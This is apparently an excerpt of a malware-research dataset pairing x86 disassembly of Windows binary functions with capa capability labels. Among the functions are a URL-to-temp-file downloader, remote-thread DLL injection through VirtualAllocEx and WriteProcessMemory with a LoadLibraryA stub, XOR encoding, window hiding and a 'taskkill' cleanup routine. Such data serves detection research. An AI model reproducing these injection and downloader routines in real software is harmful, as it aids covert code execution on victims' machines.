joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4027d0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [0x40403f], eax
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push str.Salmimo
push str.Limoclass
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x402818
xor eax, eax
jmp 0x402833
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x40147e
Capabilities:
Encode data using xor

Disassembly:
xor dx, dx
mov esi, edi
lodsb al, byte [esi]
xchg cl, dl
ror al, cl
xor al, cl
xchg cl, dl
xor al, ah
stosb byte es:[edi], al
inc dx
loop 0x401483
ret

Function at 0x401494
Capabilities:
Encode data using xor

Disassembly:
xor dx, dx
mov esi, edi
lodsb al, byte [esi]
xor al, ah
xchg cl, dl
xor al, cl
rol al, cl
xchg cl, dl
stosb byte es:[edi], al
inc dx
loop 0x401499
ret

Function at 0x710c66
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x7109ec
add ebx, 0x2d6401c4
mov edi, 0xf504ff2f
call fcn.00710ca5
sub ebx, 0xbb49e38
xor dword [edx], ecx
sub ebx, edi
inc ebx
add edx, 1
add edi, 0x69430ba1
add ebx, edi
cmp edx, esi
jne fcn.00710c66
add ebx, 0x96e6bebc
ret
Function at 0x401990
Capabilities:
Create http request
Download and write a file
Get common file path
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1114
call fcn.004044f0
mov eax, dword [0x408040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x108]
mov ebx, edx
push eax
push 0x104
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x401a22
push 0x2f
push esi
call dword [sym.imp.VCRUNTIME140.dll_strrchr]
inc eax
push eax
lea eax, [ebp - 0x108]
push eax
push str._s_s
push 0x104
push ebx
call fcn.004012e0
add esp, 0x1c
push 0
push 0
push 0
push 1
push str.DLL_Downloader
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
je 0x401a22
push 0
push 0x80000000
push 0
push 0
push esi
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x401a35
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403462
mov esp, ebp
pop ebp
ret
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401a74
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403462
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x110c]
mov byte [ebp - 0x1111], 1
push eax
push 0x1000
lea eax, [ebp - 0x1108]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401afb
nop dword [eax]
mov eax, dword [ebp - 0x110c]
test eax, eax
je 0x401afb
push 0
lea ecx, [ebp - 0x1110]
push ecx
push eax
lea eax, [ebp - 0x1108]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401af4
mov eax, dword [ebp - 0x110c]
cmp eax, dword [ebp - 0x1110]
jne 0x401af4
lea eax, [ebp - 0x110c]
push eax
push 0x1000
lea eax, [ebp - 0x1108]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x401aa0
jmp 0x401afb
mov byte [ebp - 0x1111], 0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x1111]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00403462
mov esp, ebp
pop ebp
ret
Function at 0x401b30
Capabilities:
Allocate or change rwx memory
Create thread
Delete file
Execute shellcode via indirect call
Inject dll
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x408040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ecx
push 0
mov esi, edx
push 0x1fffff
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x401c21
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401b65
sub ecx, edx
push 4
push 0x3000
lea eax, [ecx + 1]
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x401c1a
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401b91
sub ecx, edx
push 0
lea eax, [ecx + 1]
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x401c0b
push str.LoadLibraryA
push str.kernel32.dll
mov byte [ebp - 0x14], 0x68
mov byte [ebp - 0xf], 0xb8
mov word [ebp - 0xa], 0xd0ff
mov byte [ebp - 8], 0xc3
mov dword [ebp - 0x13], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x3000
push 0xd
push 0
push edi
mov dword [ebp - 0xe], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x401c34
sub esp, 0x18
mov ecx, esp
push str.____Failed_
call fcn.004011d0
call fcn.00401770
add esp, 0x18
push 0x8000
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403462
mov esp, ebp
pop ebp
ret
push 0
push 0xd
lea eax, [ebp - 0x14]
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401c95
sub esp, 0x18
mov ecx, esp
push str.____Failed_
call fcn.004011d0
call fcn.00401770
add esp, 0x18
push 0x8000
push 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call esi
push 0x8000
push 0
push ebx
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403462
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push 0
push esi
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x401c48
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call esi
push 0x8000
push 0
push ebx
push edi
call esi
push dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403462
mov esp, ebp
pop ebp
ret
Function at 0x401d00
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4045c7
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1468
call fcn.004044f0
mov eax, dword [0x408040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x13a4], ecx
mov dword [ebp - 0x13ac], ecx
mov dword [ebp - 4], 0
lea edi, [ebp - 0x1478]
mov dword [ebp - 0x13b0], ecx
mov esi, str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz___________:_.___
mov dword [ebp - 0x13b4], 0
mov ecx, 0x2c
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea esi, [ebp - 0x1478]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x401d85
sub esi, ecx
sar esi, 1
call dword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x139c], edx
mov ecx, 1
nop
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [ebp + ecx*4 - 0x139c], edx
inc ecx
cmp ecx, 0x270
jb 0x401db0
lea edi, [esi - 1]
mov dword [ebp - 0x13a0], 0x270
mov esi, dword [ebp - 0x13a4]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
mov dword [ebp - 4], eax
mov ecx, esi
push dword [ebp - 0x13b0]
mov dword [ebp - 0x13b4], 1
push 0xf
call fcn.00402d30
xor edi, 0x80000000
mov dword [esi + 0x10], 0
mov dword [ebp - 0x13ac], edi
mov dword [ebp - 0x13a8], 0xf
lea ecx, [ebp - 0x13a0]
cmp edi, 0x7fffffff
jne 0x401e59
call fcn.004032f0
mov ecx, eax
jmp 0x401ea9
add edi, 0x80000001
call fcn.004032f0
mul edi
mov dword [ebp - 0x13b8], eax
mov ecx, edx
cmp eax, edi
jae 0x401ea9
mov eax, edi
xor edx, edx
neg eax
div edi
mov eax, edx
mov dword [ebp - 0x13bc], eax
cmp dword [ebp - 0x13b8], eax
jae 0x401ea9
mov esi, edx
nop dword [eax]
lea ecx, [ebp - 0x13a0]
call fcn.004032f0
mul edi
mov ecx, edx
cmp eax, esi
jb 0x401e90
mov esi, dword [ebp - 0x13a4]
mov edi, dword [esi + 0x14]
lea eax, [ecx - 0x80000000]
mov ecx, dword [esi + 0x10]
xor eax, 0x80000000
movzx edx, word [ebp + eax*2 - 0x1478]
cmp ecx, edi
jae 0x401ee2
lea eax, [ecx + 1]
mov dword [esi + 0x10], eax
mov eax, esi
cmp edi, 7
jbe 0x401ed5
mov eax, dword [esi]
mov word [eax + ecx*2], dx
xor edx, edx
mov word [eax + ecx*2 + 2], dx
jmp 0x401ef1
push edx
push dword [ebp - 0x13b0]
push ecx
mov ecx, esi
call fcn.00402e70
sub dword [ebp - 0x13a8], 1
mov edi, dword [ebp - 0x13ac]
jne 0x401e42
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00403462
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x402190
Capabilities:
Delete file
Execute command
Terminate process

Disassembly:
push esi
call fcn.00402160
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x4086b8
call esi
push 0x4087c0
call esi
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.taskkill__F__IM_cmd.exe_nul
call esi
push 0x4057d0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
add esp, 8
push 1
push dword [0x4088c4]
call esi
push 1
push dword [0x4088c8]
call esi
push dword [0x4087bc]
call dword [sym.imp.USER32.dll_CloseWindow]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x4032f0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 4], esi
mov eax, dword [esi]
cmp eax, 0x270
jne 0x40334d
lea edx, [esi + 8]
mov edi, eax
nop dword [eax]
mov ecx, dword [edx]
lea edx, [edx + 4]
xor ecx, dword [edx - 8]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x403310
mov eax, dword [esi]
jmp 0x403427
cmp eax, 0x4e0
jb 0x403427
lea edi, [esi + 0x9c4]
mov esi, 0xe3
push ebx
mov ebx, dword [edi]
mov eax, ebx
lea edi, [edi + 4]
mov ebx, dword [edi]
mov ecx, ebx
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x630]
xor eax, ecx
mov dword [edi - 0x9c4], eax
sub esi, 1
jne 0x403366
mov edi, dword [ebp - 4]
mov esi, 0x18c
add edi, 0xd50
mov ebx, dword [edi]
nop
mov eax, ebx
lea edi, [edi + 4]
mov ebx, dword [edi]
mov ecx, eax
xor ecx, ebx
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi - 0xd50]
xor eax, ecx
mov dword [edi - 0x9c4], eax
sub esi, 1
jne 0x4033b0
mov esi, dword [ebp - 4]
pop ebx
mov eax, dword [esi + 0x1380]
mov ecx, dword [esi + 4]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
xor eax, eax
mov dword [esi], 0
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
pop edi
xor eax, edx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4034d6
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
jmp 0x40350b
mov ecx, dword [edx + 0xc]
cmp dword [ebp + 0xc], ecx
jb 0x403508
mov eax, dword [edx + 8]
add eax, ecx
cmp dword [ebp + 0xc], eax
jb 0x403514
add edx, 0x28
cmp edx, esi
jne 0x4034f6
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x403511

Function at 0x403f29
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403f68
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403f68
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403f68
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403f68
cmp dword [ecx + 0x74], 0xe
jbe 0x403f68
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10013260
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001328d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001328d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x10013720
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
lea eax, [ebp - 4]
push eax
push dword [edi]
call dword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
mov eax, dword [edi]
mov esi, dword [eax + 0x10]
xor eax, eax
test esi, esi
jle 0x10013756
nop
mov edx, dword [ebp - 4]
mov ecx, eax
and ecx, 7
mov cl, byte [ecx + 0x10046324]
xor byte [edx + eax], cl
inc eax
cmp eax, esi
jl 0x10013740
push dword [edi]
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10013da0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x10013db3
test al, 0x10
jne 0x10013db3
mov al, 1
ret
xor al, al
ret
Function at 0x10016f20
Capabilities:
Load windows common language runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003fae1
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x10070020]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
mov byte [ebp - 4], 1
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 8
push 4
cmovae eax, dword [ebp + 8]
push 0x10045f04
push eax
call fcn.1000798e
add esp, 0xc
push str.mscoree.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
test edi, edi
jne 0x10016fa6
push eax
lea edx, [eax + 0x72]
push 0x8c
lea ecx, [edx + 0x19]
call fcn.100159c0
add esp, 8
mov esi, 0x80004005
jmp 0x100170f7
push str.CLRCreateInstance
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x10016fc0
push eax
mov edx, 0x8d
jmp 0x10016fee
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x10016fcd
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push 0x10045dd0
push 0x10045de0
call esi
test eax, eax
jns 0x1001700a
push eax
mov edx, 0x8e
push 0x8c
mov ecx, 0x8b
call fcn.100159c0
add esp, 8
mov esi, 0x80004005
jmp 0x100170f0
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x30]
call fcn.100016d0
mov byte [ebp - 4], 2
mov esi, dword [ebp - 0x14]
mov byte [ebp - 4], 3
mov dword [ebp - 0x10], 0
mov byte [ebp - 4], 4
lea eax, [ebp - 0x30]
cmp dword [ebp - 0x1c], 8
push 4
cmovae eax, dword [ebp - 0x30]
push 0x10045f3c
push eax
call fcn.1000798e
mov eax, dword [ebp - 0x10]
add esp, 0xc
test eax, eax
je 0x10017054
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp dword [ebp - 0x1c], 8
lea edx, [ebp - 0x10]
mov eax, dword [esi]
lea ecx, [ebp - 0x30]
cmovae ecx, dword [ebp - 0x30]
push edx
push 0x10045df0
push ecx
push esi
mov dword [ebp - 0x10], 0
call dword [eax + 0xc]
test eax, eax
jns 0x10017097
mov edx, 0x90
push eax
push 0x93
lea ecx, [edx - 1]
call fcn.100159c0
add esp, 8
mov esi, 0x80004005
jmp 0x100170d3
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x1001712b
mov ecx, dword [eax]
push ebx
push 0x10045da0
push 0x10045dc0
push eax
call dword [ecx + 0x24]
test eax, eax
jns 0x100170d1
mov edx, 0x91
push eax
push 0x76
lea ecx, [edx - 6]
call fcn.100159c0
add esp, 8
mov esi, 0x80004005
jmp 0x100170d3
xor esi, esi
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x100170e4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x30]
call fcn.10001800
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x10017108
mov edx, dword [ecx]
push ecx
call dword [edx + 8]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.10001800
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004003
call fcn.100027e0
int3
Function at 0x1003ec10
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003fbe1
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x10070020]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
cmp byte [0x100713d2], 0
je 0x1003ed4d
call fcn.1003ef30
test ax, ax
je 0x1003ec68
mov eax, dword [0x100713d4]
mov eax, dword [eax + 0x10]
test eax, eax
je 0x1003ec68
call eax
mov byte [0x100713d1], 1
call fcn.1003ef30
test ax, ax
je 0x1003ed4d
mov eax, dword [0x100713d4]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x1003ed4d
call eax
cmp byte [0x100713d1], 0
je 0x1003ed4d
push 0x48
push dword [0x100713d4]
call fcn.10002a03
xor eax, eax
mov dword [0x100713d4], esi
mov ecx, 0x2710
mov edi, 0x100713e0
rep stosd dword es:[edi], eax
mov ecx, dword [0x1007b048]
add esp, 8
test ecx, ecx
je 0x1003ecf7
mov edx, dword [0x1007b044]
test edx, edx
je 0x1003eceb
mov eax, dword [ecx]
push edx
push ecx
call dword [eax + 0x50]
mov eax, dword [0x1007b044]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, dword [0x1007b048]
mov dword [0x1007b044], esi
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [0x1007b048], esi
cmp dword [0x10070880], esi
je 0x1003ed2a
cmp dword [0x10070884], 8
mov eax, 0x10070870
cmovae eax, dword [0x10070870]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0x1004631c
mov ecx, 0x10070870
call fcn.10001a20
cmp byte [0x100713d0], 0
mov byte [0x100713d2], 0
je 0x1003ed4d
push dword [0x100713d8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov byte [0x100713d0], 0
call fcn.1003ef30
test ax, ax
je 0x1003edc3
mov eax, dword [0x100713d4]
mov eax, dword [eax + 8]
test eax, eax
je 0x1003edc3
call eax
cmp byte [0x100713d0], 0
movzx esi, ax
jne 0x1003edb5
lea ecx, [ebp - 0x28]
call fcn.100158f0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.10013b20
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x100713d8], eax
mov byte [0x100713d0], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.10001800
mov byte [0x100713d1], 0
mov byte [0x100713d2], 1
mov ax, si
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100029f5
mov esp, ebp
pop ebp
ret
Function at 0x445bf2
Capabilities:
Encode data using xor

Disassembly:
push edi
push dword [esp + 0x10]
call 0x3e1710
xor edi, edi
pop ecx
cmp dword [esp + 0xc], edi
jbe 0x445c1c
push esi
mov eax, dword [esp + 0xc]
lea esi, [edi + eax]
call 0x3e1880
xor byte [esi], al
inc edi
cmp edi, dword [esp + 0x10]
jb 0x445c06
pop esi
pop edi
ret 0xc

Function at 0x445f02
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push ebx
push esi
push edi
push 1
pop ebx
mov esi, ecx
mov byte [ebp - 1], bl
push dword [esi]
lea eax, [ebp - 0x14]
push 4
push ebx
push eax
call fcn.0044b221
add esp, 0x10
lea eax, [ebp - 0x14]
mov ecx, esi
push 0x16fa
push 4
push eax
call fcn.00445bf2
and byte [ebp - 0x10], 0
lea eax, [ebp - 0x14]
push 0x49c018
push eax
call fcn.0044b3e0
pop ecx
test eax, eax
pop ecx
jne 0x446033
push dword [esi]
lea eax, [ebp - 0xc]
push ebx
push 4
push eax
call fcn.0044b221
mov edi, dword [ebp - 0xc]
push dword [esi]
xor edi, 0x29bc
lea eax, [ebp - 0x11c]
push edi
push ebx
push eax
call fcn.0044b221
add esp, 0x20
lea eax, [edi + 0xa25e]
mov ecx, esi
push eax
lea eax, [ebp - 0x11c]
push edi
push eax
call fcn.00445bf2
push dword [esi]
and byte [ebp + edi - 0x11c], 0
lea eax, [ebp - 0xc]
push ebx
push 4
push eax
call fcn.0044b221
mov edi, dword [ebp - 0xc]
push dword [esi]
xor edi, 0x29ac
push edi
push ebx
push dword [ebp + 0xc]
call fcn.0044b221
add esp, 0x20
lea eax, [edi + 0xf25e]
mov ecx, esi
push eax
push edi
push dword [ebp + 0xc]
call fcn.00445bf2
mov eax, dword [ebp + 0xc]
push dword [ebp + 8]
and byte [edi + eax], 0
lea eax, [ebp - 0x11c]
push eax
call fcn.0044b3e0
pop ecx
test eax, eax
pop ecx
je 0x44604a
push ebx
push ebx
push dword [esi]
call fcn.0044b2c8
push dword [esi]
lea eax, [ebp - 8]
push ebx
push 4
push eax
call fcn.0044b221
xor dword [ebp - 8], 0x45aa
push ebx
push 4
push dword [esi]
call fcn.0044b2c8
push ebx
push 0x10
push dword [esi]
call fcn.0044b2c8
push ebx
push dword [ebp - 8]
push dword [esi]
call fcn.0044b2c8
add esp, 0x40
jmp 0x446037
and byte [ebp - 1], 0
cmp byte [ebp - 1], bl
je 0x445f16
push 6
pop eax
pop edi
pop esi
pop ebx
leave
ret 8
xor eax, eax
jmp 0x446043

Function at 0x44608e
Capabilities:
Hash data using crc32b

Disassembly:
mov eax, ecx
push esi
push edi
mov edi, eax
or dword [eax + 0x400], 0xffffffff
xor esi, esi
mov edx, esi
push 8
shl edx, 0x18
pop ecx
test edx, 0x80000000
je 0x4460b7
add edx, edx
xor edx, 0x4c11db7
jmp 0x4460b9
shl edx, 1
dec ecx
jne 0x4460a5
mov dword [edi], edx
inc esi
add edi, 4
cmp esi, 0x100
jl 0x44609d
pop edi
pop esi
ret